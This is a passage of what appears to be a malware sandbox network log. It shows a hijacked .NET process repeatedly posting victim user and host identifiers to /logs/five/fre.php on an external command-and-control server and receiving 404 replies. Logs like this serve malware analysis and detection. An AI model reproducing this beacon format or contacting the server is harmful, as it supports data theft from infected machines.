Oct 24, 2024 08:46:56.915488958 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.22	49220	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:57.097372055 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:57.102699041 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:58.072510958 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.22	49221	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:58.236053944 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:58.242856979 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:59.198889971 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.22	49222	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:59.349052906 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:59.354585886 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:00.299822092 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.22	49223	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:00.508701086 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:00.514142036 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:01.466989040 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.22	49224	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:02.965466022 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:02.970813990 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:03.911752939 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.22	49225	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:04.066261053 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:04.071738005 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:05.015141010 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.22	49226	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:05.165612936 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:05.171077013 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:06.127392054 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.22	49227	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:06.282418966 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:06.288132906 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:07.235351086 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.22	49228	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:07.387917042 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:07.393228054 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:08.350806952 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.22	49229	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:08.512932062 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:08.518292904 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:09.473211050 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.22	49230	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:09.621856928 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:09.627438068 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:10.574460983 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.22	49231	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:10.732212067 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:10.737747908 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:11.695601940 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.22	49232	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:11.850244045 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:11.855700016 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:12.798983097 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.22	49233	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:12.947789907 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:12.955607891 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:14.031493902 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.22	49234	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:14.225496054 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:14.230832100 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:15.182291985 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.22	49235	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:15.326914072 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:15.332422018 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:16.271697044 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.22	49236	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:16.422887087 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:16.428303003 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:17.383274078 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.22	49237	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:17.532151937 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:17.547051907 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:18.474733114 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.22	49238	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:18.622531891 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:18.627836943 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:19.574054003 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.22	49239	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:19.749378920 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:19.754722118 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:20.702048063 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.22	49240	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:20.846249104 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:20.851687908 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:21.798337936 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.22	49241	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
